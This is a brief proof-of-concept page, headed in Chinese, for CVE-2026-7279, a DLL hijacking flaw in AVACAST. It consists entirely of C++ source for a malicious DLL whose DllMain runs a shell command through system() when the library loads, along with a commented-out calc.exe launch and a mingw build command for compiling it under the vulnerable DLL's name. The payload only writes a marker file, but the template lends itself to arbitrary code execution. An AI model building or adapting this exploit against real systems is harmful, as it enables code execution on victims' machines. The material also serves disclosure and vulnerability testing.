CVE-2026-7279 AVACAST DLL劫持漏洞

// PoC for CVE-2026-7279 DLL Hijacking // Compile this code as a shared library (DLL) with the name of the vulnerable DLL. // Example: x86_64-w64-mingw32-g++ -shared -o vuln.dll payload.cpp #include <windows.h> #include <stdlib.h> // DllMain entry point BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to execute when the DLL is loaded by the application // Example: Create a file as proof of execution or pop a calculator system("cmd.exe /c echo CVE-2026-7279 PoC Executed > C:\\poc.txt"); // WinExec("calc.exe", SW_NORMAL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }